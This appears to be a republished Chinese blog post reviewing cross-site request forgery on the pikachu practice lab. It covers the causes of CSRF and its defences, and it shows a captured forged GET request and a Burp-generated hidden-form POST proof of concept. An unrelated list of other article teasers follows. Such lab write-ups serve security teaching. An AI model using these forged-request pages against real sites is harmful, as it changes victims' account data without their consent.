Csrf复习(pikachu靶场和防御手段)

news2024/9/9 8:04:40

CSRF漏洞简介

CSRF又称跨站请求伪造,是指攻击者在用户登录的状态下(浏览器保存了用户的cookie)通过伪造恶意url诱导用户点击,借助用户的cookie网站权限(冒充用户身份来进行非法操作,对于服务器来说是合法的)达到篡改数据、购买商品等非法操作。

CSRF漏洞形成的条件

通过上面的讲解我们知道CSRF形成的必要条件是

1、用户要在登录状态(即浏览器保存了该用户的cookie)

2、用户要访问攻击者发的恶意url链接才行

常见攻击方式

1、 链接点击:攻击者通过邮件、社交媒体或其他方式发送包含恶意请求的链接,诱导用户点击。

2、隐藏表单:在恶意网站上嵌入隐藏的表单,用户在不知情的情况下触发表单提交。

3、自动提交表单:恶意网站使用JavaScript自动提交包含恶意请求的表单。

4、图像加载:在恶意网站上嵌入图像标签,图像URL指向目标网站的恶意请求。

5、跨域请求:利用XMLHttpRequest或Fetch API发送跨域请求,但这种方式在现代浏览器中通常会被同源策略和CORS限制。

防御措施

1、CSRF Token:在每个敏感操作的请求中包含唯一的、不可预测的令牌。服务器验证该令牌以确保请求来自合法用户。

2、SameSite Cookie 属性:设置 Cookie 的 SameSite 属性为 Strict 或 Lax,防止跨站请求携带 Cookie。

3、双重提交 Cookie:在请求中发送一个 CSRF Token,同时在 Cookie 中存储相同的 Token,服务器验证这两个 Token 是否一致。

4、验证 Referer 和 Origin 头:检查请求的 Referer 和 Origin 头是否来自可信任的域。

5、定期重置 Session ID:减少会话被劫持的风险,确保会话令牌的安全性。

6、用户交互确认:对敏感操作要求用户进行额外的确认,例如输入密码或验证码。

漏洞复现(pikachu)

Csrf(get请求):

攻击者发送恶意链接,点开后信息被恶意修改

利用bp抓取的数据包重发数据

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=123123&add=123123&email=123123&submit=submit HTTP/1.1

Host: pikachu

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://pikachu/vul/csrf/csrfget/csrf_get_edit.php

Cookie: PHPSESSID=1403c4j739t0v88bc26m3b2d6e

Upgrade-Insecure-Requests: 1

Priority: u=0, i

信息被修改了

Csrf(post请求)

记录原始数据

Bp抓包构造恶意网页

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">

      <input type="hidden" name="sex" value="hack" />

      <input type="hidden" name="phonenum" value="hack" />

      <input type="hidden" name="add" value="11" />

      <input type="hidden" name="email" value="111" />

      <input type="hidden" name="submit" value="submit" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

放在外网服务器

点击恶意连接后信息被修改了

Csrf(token)抓包发现添加了token需要知道token才可以被攻击者恶意利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1963722.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

达梦数据库系列—36.分区表

目录 1、分区表的分类 1.1 范围分区表 1.2 List分区表 1.3 哈希分区表 1.4 多级分区表 二级分区 三级分区 2、分区表的维护 2.1 增加分区 2.2 删除分区 2.3 交换分区 2.4 融合分区 3、全局索引和局部索引 1、分区表的分类 范围(range)水平分区&#xff1a;对表中…

【LLM大模型】AI大模型大厂面试真题:「2024大厂大模型技术岗内部面试题+答案」

AI大模型岗的大厂门槛又降低了&#xff01;实在太缺人了&#xff0c;大模型岗位真的强烈建议各位多投提前批&#xff0c;▶️众所周知&#xff0c;2025届秋招提前批已经打响&#xff0c;&#x1f64b;在这里真心建议大家6月7月一定要多投提前批&#xff01; &#x1f4bb;我们…

【深度学习|目标跟踪】SSD+Sort实现MOT!

SSDSort实现目标跟踪 源码地址1、&#x1f64c;&#x1f3fb;匈牙利匹配算法1.1 什么是匈牙利匹配1.2 什么是二分图&#xff1a;1.3 最大匹配1.4 最优匹配1.5 最小点覆盖1.6 交替路1.7 增广路1.8 匈牙利匹配具体流程以及实例1.9 广度优先匹配1.10 深度优先匹配1.11 给匹配加权来…

SQL—数据库与表操作

目录 SQL语句分类 DDL 数据库操作 1. 查询所有数据库 2. 查询当前数据库 3. 创建数据库 案例&#xff1a;创建一个itcast数据库&#xff0c;使用数据库默认的字符集 案例&#xff1a;创建一个itheima数据库&#xff0c;并且指定字符集 4. 删除数据库 5. 切换数据库…

Java从入门到精通 (十) ~ 计算机是如何工作的呢 ?

每天进步一点点&#xff0c;每天创造一点点&#xff0c;每天做事多一点&#xff0c;愿你事事都领先&#xff0c;卓越成绩现眼前&#xff0c;美好生活一天又一天。 文章目录 目录 前言 前置知识 认识一下计算机的真实相貌 都说计算机使用二进制传输&#xff0c;为什么要使…

哇!0.8秒启动!Linux快速启动方案分享,全志T113-i国产平台!

本文主要介绍基于创龙科技TLT113-EVM评估板(基于全志T113-i)的系统快速启动方案,适用开发环境如下。 Windows开发环境:Windows 7 64bit、Windows 10 64bit 虚拟机:VMware15.5.5 Linux开发环境:Ubuntu18.04.4 64bit U-Boot:U-Boot-2018.07 Kernel:Linux-5.4.61、Li…

政策收紧下,给EI人的一个小建议!

自中央大力推动文化体制改革、促进文化产业加快发展以来&#xff0c;我国出版业的数字化转型升级工作拉开序幕。其后&#xff0c;得益于新技术的发展、市场趋势的变化&#xff0c;数字出版开始出现“井喷”&#xff0c;出版融合成绩巨大&#xff0c;但也面临诸多挑战&#xff0…

手持气象站:便携与精准的完美结合

在气象监测领域&#xff0c;手持气象站以其独特的优势特点&#xff0c;正逐渐成为专业人士和爱好者的首选工具。这款小巧而强大的设备&#xff0c;将便携性与精准性完美融合&#xff0c;为各种户外活动和科学研究提供了极大的便利。 首先&#xff0c;手持气象站的最大亮点在于其…

虚拟主播实时直播技术方案:以年轻人互动方式探索直播新玩法2

随着互联网将内容传播的渠道变得逐渐丰富&#xff0c;观众对直播内容形式、互动玩法的多元化要求越来越高&#xff0c;文旅、电商、企业品牌、广电、泛娱乐MCN、游戏动漫等等领域纷纷主动迎合Z世代喜好&#xff0c;利用虚拟人直播内容抢夺观众的注意力&#xff0c;以独特的虚拟…

2024 杭电多校 第四场

分组 给定 n 个正整数 a1,a2,…,an (1≤ai<2m) 以及 0 到 2m−1 的权重 w0,w1,…,w2m−1&#xff1b;你需要把这 n 个正整数分成四组 A,B,C,D&#xff0c;令 f(A),f(B),f(C),f(D) 分别表示每组中所有数字的异或和&#xff0c;你的分组方案需要最小化 wf(A),wf(B),wf(C),wf(…

智慧社区的秘密武器:数据可视化的力量

在现代城市的发展中&#xff0c;智慧社区已成为提升居民生活品质和管理效率的重要方式。而数据可视化作为信息技术的关键工具&#xff0c;正是实现智慧社区目标的强大助推器。通过将复杂的数据转化为直观的图表和可视化图像&#xff0c;数据可视化不仅能够帮助社区管理者快速理…

前端工具专有名词记录

目录 前言 正文 1.包管理器 2.构建工具和开发环境&#xff08;项目管理器&#xff09; 3.自动化测试工具 4.JavaScript 框架和模版 5.代码质量工具 尾声 &#x1f52d; Hi,I’m Pleasure1234&#x1f331; I’m currently learning Vue.js,SpringBoot,Computer Security and so…

全新小体积RK3562核心板,解锁神秘技能!

RK3562小体积金手指系列核心板基于瑞芯微四核Cortex-A53Cortex-M0处理器设计&#xff0c;工作主频高达2GHz&#xff0c;最高搭载4GB高速LPDDR4、32GB eMMC。该核心板拥有204 Pin脚&#xff0c;尺寸仅为67.6mm *45mm&#xff0c;支持千兆网、USB3.0、串口、PCIE、HDMI等丰富外设…

vite tsx项目的element plus集成 - 按需引入踩坑

前面我们进行了开源组件的自研&#xff0c;很多组件可直接用现成的开源组件库&#xff0c;并不需要自己重复造轮子&#xff0c;为此我们讲如何在当前vite vitepress tsx技术整合的项目中实现element plus组件的按需引入&#xff0c;同时解决遇到的一些坑。 安装Element Plus…

《史上最简单的SpringAI+Llama3.x教程》-03-ETL pipeline解决RAG文件处理问题

在企业内部构建基于大型语言模型&#xff08;LLM&#xff09;的应用程序时&#xff0c;数据的提取、转换和加载&#xff08;ETL&#xff09;过程至关重要。Spring AI 提供了一个集成的框架&#xff0c;可以简化这一过程&#xff0c;特别是在使用 LLM 进行检索增强生成&#xff…

Postman 接口测试工具简易使用指南

一、Postman是什么? 我通过kimi问了这样一个问题&#xff0c;它给我的回答是这样的: 它的回答也算比较中规中矩&#xff0c;简单的说postman实际上就是一款接口测试工具&#xff0c;同时它还可以编写对应的测试脚本以及自动生成对应的API文档&#xff0c;结合我的习惯来说&am…

Springboot处理跨域请求

文章目录 概要同源策略跨域问题复现解决跨域方法1方法2方法3 jwt拦截器验证token防止请求存在缓存 概要 跨域请求&#xff08;Cross-Origin Requests&#xff09;指的是在一个网页中加载的资源来自与当前网页不同的域、协议或端口。浏览器出于安全考虑&#xff0c;默认会限制这…

Mybatis超级方便操作数据方式(注解+封装mapper接口)!!!

Mybatis作为一个流行的持久层框架&#xff0c;其优化了Java程序与数据库的交互过程。它的核心在于使用Mapper接口与XML映射文件或注解绑定来实现对数据库的操作。这种方式不仅简化了数据库操作&#xff0c;还提升了开发效率&#xff0c;使得开发者可以从繁琐的JDBC代码中解放出…

索引排序以及explain

标题 explain函数typekeyextrarows 索引排序 前言&#xff0c;如无特殊提醒&#xff0c;默认建立如下索引。 explain函数 type type列反映了访问类型。表示mysql如何找到数据。访问类型有很多种&#xff0c;从全表扫描到索引扫描、范围扫描、唯一索引查询、常数引用等。这里列…

Oracle <left> join on where 先过滤还是先join

一、left join onon条件是在生成临时表时使用的条件&#xff0c;它不管on中的条件是否为真&#xff0c;都会返回左边表中的记录。 二、left join on and&#xff08;1&#xff09;如果and语句是对左表进行过滤的&#xff0c;那么不管真假都不起任何作用。&#xff08;2&#x…